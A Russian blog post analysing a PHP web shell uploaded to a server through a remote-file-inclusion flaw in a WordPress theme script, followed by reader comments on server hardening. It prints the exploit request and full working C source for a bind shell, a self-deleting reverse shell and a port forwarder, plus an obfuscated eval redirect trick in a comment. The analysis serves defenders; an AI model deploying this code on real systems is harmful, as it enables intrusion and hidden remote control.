Пример того, как сервер под управлением *nix может стать частью ботнета

    В последнее время на различных ресурсах появляются сообщения о том, что злоумышленники все чаще используют для осуществления DDoS-атак серверные конфигурации. Очевидно, что для использования такой системы необходимо сначала получить к ней доступ. Не так давно я столкнулся с довольно интересным, как мне показалось, образцом PHP Shell'а.

    Итак, как же злоумышленники осуществляют загрузку вредоносного кода на сервер? Тут все банально – рассматриваемый образец был загружен в результате эксплуатации известной уязвимости:

    "GET /wp-content/themes/newsworld/thumbopen.php?src=http%3A%2F%2Fpicasa.com.orland******.com/kikok.php HTTP/1.1" 400 447 "-" "Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1"

    Вот содержимое kikok.php: paste.ubuntu.com/5577560
    После выполнения несложных операций по декодированию из base64 получим следующее: paste.ubuntu.com/5577565
    На первый взгляд, типичный PHP Shell, что же тут такого необычного? В теле PHP-скрипта присутствует код на C:
    Sample 1
    $port_bind_bd_c="
    #include <stdio.h>
    #include <string.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <errno.h>
    int main(argc,argv)
    int argc;
    char **argv;
    {  
     int sockfd, newfd;
     char buf[30];
     struct sockaddr_in remote;
     if(fork() == 0) { 
     remote.sin_family = AF_INET;
     remote.sin_port = htons(atoi(argv[1]));
     remote.sin_addr.s_addr = htonl(INADDR_ANY); 
     sockfd = socket(AF_INET,SOCK_STREAM,0);
     if(!sockfd) perror("socket error");
     bind(sockfd, (struct sockaddr *)&remote, 0x10);
     listen(sockfd, 5);
     while(1)
      {
       newfd=accept(sockfd,0,0);
       dup2(newfd,0);
       dup2(newfd,1);
       dup2(newfd,2);
       write(newfd,"Password:",10);
       read(newfd,buf,sizeof(buf));
       if (!chpass(argv[2],buf))
       system("echo welcome to r57 shell POWERED by d35m0 && /bin/bash -i");
       else
       fprintf(stderr,"Sorry");
       close(newfd);
      }
     }
    }
    int chpass(char *base, char *entered) {
    int i;
    for(i=0;i<strlen(entered);i++) 
    {
    if(entered[i] == '\n')
    entered[i] = '\0'; 
    if(entered[i] == '\r')
    entered[i] = '\0';
    }
    if (!strcmp(base,entered))
    return 0;
    }
    ";
    

    Sample 2
    $back_connect_c="
    #include <stdio.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    int main(int argc, char *argv[])
    {
     int fd;
     struct sockaddr_in sin;
     char rms[21]="rm -f "; 
     daemon(1,0);
     sin.sin_family = AF_INET;
     sin.sin_port = htons(atoi(argv[2]));
     sin.sin_addr.s_addr = inet_addr(argv[1]); 
     bzero(argv[1],strlen(argv[1])+1+strlen(argv[2])); 
     fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ; 
     if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {
       perror("[-] connect()");
       exit(0);
     }
     strcat(rms, argv[0]);
     system(rms);  
     dup2(fd, 0);
     dup2(fd, 1);
     dup2(fd, 2);
     execl("/bin/sh","sh -i", NULL);
     close(fd); 
    }
    ";
    

    Sample 3
    $datapipe_c="
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/wait.h>
    #include <netinet/in.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <errno.h>
    #include <unistd.h>
    #include <netdb.h>
    #include <linux/time.h>
    #ifdef STRERROR
    extern char *sys_errlist[];
    extern int sys_nerr;
    char *undef = "Undefined error";
    char *strerror(error)  
    int error;  
    { 
    if (error > sys_nerr)
    return undef;
    return sys_errlist[error];
    }
    #endif
    
    main(argc, argv)  
      int argc;  
      char **argv;  
    { 
      int lsock, csock, osock;
      FILE *cfile;
      char buf[4096];
      struct sockaddr_in laddr, caddr, oaddr;
      int caddrlen = sizeof(caddr);
      fd_set fdsr, fdse;
      struct hostent *h;
      struct servent *s;
      int nbyt;
      unsigned long a;
      unsigned short oport;
    
      if (argc != 4) {
        fprintf(stderr,"Usage: %s localport remoteport remotehost\n",argv[0]);
        return 30;
      }
      a = inet_addr(argv[3]);
      if (!(h = gethostbyname(argv[3])) &&
          !(h = gethostbyaddr(&a, 4, AF_INET))) {
        perror(argv[3]);
        return 25;
      }
      oport = atol(argv[2]);
      laddr.sin_port = htons((unsigned short)(atol(argv[1])));
      if ((lsock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
        perror("socket");
        return 20;
      }
      laddr.sin_family = htons(AF_INET);
      laddr.sin_addr.s_addr = htonl(0);
      if (bind(lsock, &laddr, sizeof(laddr))) {
        perror("bind");
        return 20;
      }
      if (listen(lsock, 1)) {
        perror("listen");
        return 20;
      }
      if ((nbyt = fork()) == -1) {
        perror("fork");
        return 20;
      }
      if (nbyt > 0)
        return 0;
      setsid();
      while ((csock = accept(lsock, &caddr, &caddrlen)) != -1) {
        cfile = fdopen(csock,"r+");
        if ((nbyt = fork()) == -1) {
          fprintf(cfile, "500 fork: %s\n", strerror(errno));
          shutdown(csock,2);
          fclose(cfile);
          continue;
        }
        if (nbyt == 0)
          goto gotsock;
        fclose(cfile);
        while (waitpid(-1, NULL, WNOHANG) > 0);
      }
      return 20;
    
     gotsock:
      if ((osock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
        fprintf(cfile, "500 socket: %s\n", strerror(errno));
        goto quit1;
      }
      oaddr.sin_family = h->h_addrtype;
      oaddr.sin_port = htons(oport);
      memcpy(&oaddr.sin_addr, h->h_addr, h->h_length);
      if (connect(osock, &oaddr, sizeof(oaddr))) {
        fprintf(cfile, "500 connect: %s\n", strerror(errno));
        goto quit1;
      }
      while (1) {
        FD_ZERO(&fdsr);
        FD_ZERO(&fdse);
        FD_SET(csock,&fdsr);
        FD_SET(csock,&fdse);
        FD_SET(osock,&fdsr);
        FD_SET(osock,&fdse);
        if (select(20, &fdsr, NULL, &fdse, NULL) == -1) {
          fprintf(cfile, "500 select: %s\n", strerror(errno));
          goto quit2;
        }
        if (FD_ISSET(csock,&fdsr) || FD_ISSET(csock,&fdse)) {
          if ((nbyt = read(csock,buf,4096)) <= 0)
    	goto quit2;
          if ((write(osock,buf,nbyt)) <= 0)
    	goto quit2;
        } else if (FD_ISSET(osock,&fdsr) || FD_ISSET(osock,&fdse)) {
          if ((nbyt = read(osock,buf,4096)) <= 0)
    	goto quit2;
          if ((write(csock,buf,nbyt)) <= 0)
    	goto quit2;
        }
      }
    
     quit2:
      shutdown(osock,2);
      close(osock);
     quit1:
      fflush(cfile);
      shutdown(csock,2);
     quit0:
      fclose(cfile);
      return 0;
    }
    ";
    


    Код компилирурется непосредственно на сервере:
     cf("/tmp/bd.c",$port_bind_bd_c);
     $blah = ex("gcc -o /tmp/bd /tmp/bd.c");
    ...
    

    Согласитесь, весьма необычная реализация.
    А вот как реагирует на подобного рода семплы антивирусная индустрия в целом: www.virustotal.com/ru/file/4d0d5be4e24ba5b4f0c2cca2398e2ac123bd5c13e8eeadd07fc0c1a1fb61bb1f/analysis/1362169702
    Метки:
    Поделиться публикацией
    Комментарии 59
    • +9
      Вот потому я не держу на «боевых» серверах gcc.
      • –7
        Интересно, можно ли как-то заблокировать установку gcc на уровне apt-get, yum, rpm и т. п. А то при получении прав рута через shell и поставить могут.
        • +5
          Лучше заблокировать получение прав рута третьими лицами. А с правами рута все ваши блокировки уже не помогут.
          • 0
            А что значит заблокировать? Если по части su и sudo всё прописано как надо, ssh-логин на рута заблокирован, внешние сетевые сервисы работают от имени других пользователей и в chroot, повышение привилегий хакерскими методами невозможно? Или что-то ещё имеется в виду?
            • +4
              sledopit говорит о том, что если кто-то получил root, то пытаться что блокировать в apt-get/yum/etc уже бессмысленно.
        • +22
          С учетом того, что подобная гадость может быть написана не только на C, придется много чего не держать на серверах. PHP тот же.
          • –14
            Оставить компилятор на сервере, это как рядом с дверью положить фомку :)
            • +26
              … с внутренней стороны.
              Если у человека уже есть возможность запустить gcc и то, что он этим gcc скомпилит, то поздно прятать gcc. В конце концов, скомпилить си можно и на другом компе, и перебросить бинарник.
              • +12
                Если у двери под ковриком лежит ключик (ПО, которое позволяет передачу управления чужому коду), то абсолютно пофиг, где лежит фомка.
              • +11
                что помешает залить сразу бинарник?
                • –2
                  На самом деле, атакующему ничего не стоит выполнить wget и докачать недостающие компоненты.
                  Просто у меня уже в привычку вошло: после установки и настройки сервера, я запрещаю всем пользователям выполнять любой бинарник. А зайти root'ом, можно только имея физический доступ к машине :)
                  • +3
                    Вы не боитесь поплатиться за вашу параноидальность однажды?
                    • 0
                      Конечно, все может быть. Но за два года ни один мой сервер не был взломан.
                      С ddos сложнее.
                      • +4
                        Может Вы никому не нужны?
                        • –1
                          А так оно и есть.
                          Чего это я тут сижу, по Мск уже 4:20.
                  • +1
                    Кто его знает, ботнеты бывают разные по интеллекту. У моего друга на домашнюю линух-машину проник как-то злобный бот (как потом выяснилось, с завидным упорством перебирал пароли). И проникнув, залил руткит. Бинарником. Тридцатидвухразрядный. На x64 систему. В общем, придя домой, чувак обнаружил тачку в неработоспособном состоянии и разобрался, что же произошло.
                  • +3
                    А дистр вы бинарный используете? И какой тогда смысл? При шеле на ваш сервак gcc под Ваш дистр выкачивается только в путь. Да и как уже выше писали малвари на том же пхп или питоне море.

                    У меня вот гента, gcc я держу, вот только пхп для вордпреса у меня в строгом chroot'е и исключительно под своим пользователем, еще можно раздел, который смотрит в веб подключать с noexec. Но опять же, все это не панацея. Панацея — строгие ограничения пыхи (в т.ч. ее пользователя, обязательно отдельного для каждого ресурса) (эх, жалко, что сухозин умер :-( ) и НЕиспользование кривых скриптов.
                    • 0
                      > сухозин умер

                      Как это умер??? Постоянно его вижу у клиентов. В т.ч. и на свежих дистрибутивных сборках PHP. Жив и работает.
                      • +1
                        Последний патч для 5.3.9 версии вышел.
                        А сейчас актуальная 5.3.22.
                        Я бы сказал что он скоропостижно скончался.
                        • 0
                          В какой максимальной версии php Вы его видели? Мне очень интересно. Не даром мейнтейнеры в генте от него отказались в районе 5.3.13.

                          Последние изменения расширения suhosin — 19.01.2012 (больше года назад), патча — 23.07.2010 (~2,5 года назад).

                          Да, штука полезная, его трупик долго пинался мейнтейнеры различных дистрибутивов, но, например, в генте сдались. Подозреваю, пхп ушло слишком далеко вперед. По крайней мере 5.4 точно.
                          • 0
                            Не понимаю, если сухозин так полезен почему его до сих пор не включили в PHP? Если его преимущества не очевидны, для чего его включили в PHP ментейнеры Ubuntu? Ну бред же. Так и живем, держу gcc на сервере для сборки 5.3 и да, наличие этого патча критично для проекта.
                            • +1
                              Потому что сухозин — это не только ценный мех, но и еще 2-3 килограмма разных глюков и несовместимостей. Что-то, наверняка, из него было взято в мейнстрим, остальное было посчитано недостаточно стабильным. Была еще целая история про исключение сухозина из пхп в дебиане. Так как мейнстрим пхп устал разбираться с багами, порождаемыми сухозином, которые репортили в мейнстрим.

                              Если не секрет, как наличие сухозина может быть критично для проекта?
                              • 0
                                Не наличие, а отсутствие его критично для проекта. Короче, мне надо чтоб его не было, а он — есть. И это проблема по которой приходится собирать PHP самому.
                            • –1
                              > В какой максимальной версии php Вы его видели?

                              В 5.3.х. Точные версии не запоминал. Но часто его вижу у клиентов.
                              • 0
                                Понятно, что в 5.3.*. 5.2.* — мертва, под 5.4.* — его нету. Пока Ваши клиенты могу позволить себе на 5.3, не самых свежих версий, вы его часто будете видеть. Потом таких будет все меньше, если разработка сухозина не восстановится.
                                • 0
                                  > Пока Ваши клиенты могу позволить себе на 5.3

                                  Так это не клиенты, а хостеры. Клиенты, часто, вообще не в курсе, что такое PHP или suhosin.
                                  Я всего пару раз 5.4 видел за последнее время. Большинство на ветке 5.3 сидит и не чешется. И, сдается мне, это еще будет довольно долго продолжаться.
                        • +2
                          Хм, а не проще запретить выполнение system, exec… От залитого бинарника отсутствие gcc правда не спасет.
                          • 0
                            откройте уже для себя selinux
                          • +1
                            tcc хватит ;)
                            • 0
                              Если на разделе, доступном для записи из скрипта разрешён запуск программ, то это ничем не поможет.
                            • +2
                              Вот поэтому для любых маломальски серьезных проектов нужно быть как можно больше PCI Compliant. А вордпресс нифига не PCI Compliant, собственно как и куча других поделок.
                              • +1
                                Я имею ввиду не только поделок на PHP, вроде Джумлы, Вордпресса и прочих гадостей, но и про другие фреймворки на других языках. Как правило для любой платформы есть набор правил и практик, которые помогают снизить риск получить инфаркт.
                                • +2
                                  Да ладно, вордпресс просто более лучше изучен. В этом вашем PCI Compliant софте дырок не меньше (а чаще — значительно больше), просто их никто никогда не ищет за ненадобностью.
                                  • +2
                                    Например?
                                    PCI Compliant это не только софт, но еще и набор правил по которым нужно настраивать окружение.
                                    А с вордпрессом такой бы фигни не вышло, если-бы они не поленились и не сделали единую точку входа, а все библиотеки переместили выше корня.
                                  • +4
                                    Само собой, увидел Wordpress — нужно заявить, что он отстой. А тем временем, черным по белому написано, что косяк в сторонней теме сайта:
                                    /wp-content/themes/newsworld/

                                    То, что с темами нужно быть аккуратными — это и так понятно, и это совсем не проблема Wordpress.
                                    • +3
                                      > и это совсем не проблема Wordpress

                                      На мой взгляд, это отчасти и проблема архитектуры WP, т.к.он допускает такие штуки в темах.
                                      • +1
                                        Сеньор наверное забывает, что темы в WP — это большее, чем просто набор стилей и верстки. Зачастую тема — это дополнительный функционал для CMS итд.
                                        А если бы они там и правда хотели работать в эту сторону — внедрили бы альтернативные темы на каком-нибудь Twig'е, но никому они не нужны будут.
                                        • 0
                                          > Сеньор наверное забывает

                                          Это многое объясняет. Я WP только издалека видел, подумалось по аналогии с другим софтом.
                                          • 0
                                            С чего так плохо про твиг?
                                            Его в Drupal 8 его и внедряют как (пока) альтернативный шаблонизатор, Глядишь и меньше станет станет прямых SQL запросов в темах. :)
                                            • 0
                                              Совсем не плохо, нет. Просто такие темы не будут особенно популярны для WP, так как тема уже традиционно чуть больше, чем просто оформление.
                                              • 0
                                                По идее, в темах вообще никаких запросов не должно быть, как и вообще какой-либо работы с данными. Но т.к. вордпресс это блоговый движок, а из него пытаются сделать всё до интернет магазина, приходится в теме делать большой кусок функционала. Как попало обычно… =)
                                                А если про друпал это было, то уж там sql запросов в теме быть не должно вообще.
                                          • +2
                                            99,9% уязвимостей как бы WordPress, на самом деле уязвимости различных расширений и тем, написанных абы кем и абы как. При том платность тех или иных компонент нисколечки не гарантирует её качество (чаще, пожалуй, даже наоборот).
                                        • +3
                                          Еще интересный вид инъекции появился. Это редирект в заголовках:

                                          HTTP/1.1 200 OK
                                          Date: Tue, 29 Jan 2013 17:18:02 GMT
                                          Server: Apache
                                          Refresh: 25; url=«example.com/»

                                          Т.е. кодируем например строку:
                                          $x0b=«header»; $x0b(«Refresh:»25;«url=\»example.com\"");
                                          и вызываем через eval().

                                          В результате сам сайт (HTML,JS и т.д.) чистый, найти такой код очень трудно, антивирусы не реагируют.
                                          • +7
                                            > Согласитесь, весьма необычная реализация.

                                            Не совсем соглашусь. :)

                                            Червь Морриса:

                                            The body was a script that created a C program, the ``grappling hook,'' which transfered the rest of the modules from the originiating host, and the commands to link and execute them.
                                            via
                                            • +1
                                              Я года 4 назад столкнулся с самокомпилирующимся червем, который подобрал пароль ssh (с тех пор легкие пароли и стандартные порты не использую), загрузил в /tmp исходники, собрался и запустился. И через sudo прописался куда-то в район /etc/rc.local. Правда, его удалось голыми руками выкорчевать.
                                              • +1
                                                Нестандартные порты отнюдь не панацея — куда полезнее софт следящий за попытками брутфорса.
                                                • +2
                                                  Да, забыл упомянуть fail2ban. Ну и для совсем параноиков есть вариант отключать авторизацию по паролю и использовать только ключи, тогда обычные боты точно не пробьются.
                                                  • +11
                                                    ИМХО, это не для параноиков, а единственно правильный вариант.
                                                    • +5
                                                      Совсем для параноиков port knocking. А авторизация только по ключам — норма.
                                                      • +1
                                                        Совсем для параноиков это Авторизация по ключу, на нестандартный порт с port knoking!
                                                        • +3
                                                          и только из trust-zone подсети
                                                        • 0
                                                          Зато как здорово кому-то будет, если у вас когда-нибудь сопрут ключ… Сходу mass ownage.
                                                          • 0
                                                            Если предусмотрительно заранее защитить ключ keyword'ом, то mass ownage не предвидится.
                                                            Впрочем, никакие автоматические средства не спасут от глупости пользователя. Исключительно соблюдение как минимум элементарных правил информационной безопасности очень здорово снижает подобные риски.
                                                            • 0
                                                              У меня ключ в eToken-е. Вряд ли сопрут.
                                                    • 0
                                                      видел сервер, куда таким образом были закачаны в исходниках пакеты целиком:
                                                      psybnc
                                                      unrealircd
                                                      ещё какая-то хрень, не разбирался, что это
                                                      некоторые зависимости вышеперечисленного (что отсутствовало в системе)

                                                      ну, как обычно, были собраны и запущены. Правда, в скриптах rc не было изменений.
                                                      • 0
                                                        ClamAV по детекту радует, а вот многие распиаренные победители различных тестов пролетели.
                                                        • 0
                                                          Совсем недавно чистил сервер клиента от вирусов и нашел там не менее интересную штуку.
                                                          Залили стандартный шелл, Залили самодельный IRC-бот, прописали к нему кучку скриптов, и по команде «war $host» производилась атака на указанный IP, команда «shell» выполняла любую произвольную команду.
                                                          Я попытался зайти на канал, меня сразу же забанили, так как меня не было в белом списке, но получил список пользователей.
                                                          На канале было порядка 500 таких же ботов.
                                                          • 0
                                                            Это детский сад от школьников.
                                                            irc ботами не пользуются серьезные люди уже лет пять.
                                                          • +3
                                                            Насчет Си кода в PHP файлах, эта штука появилась еще лет 7-8 назад, тут явно ничего нового нет, еще в r57 первых версий, там кстати есть тоже самое на perl'е. а шеллы могут быть не только на PHP, а например на древней технологии SSI, про которую многие забыли, а она живее всех живых.

                                                            Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.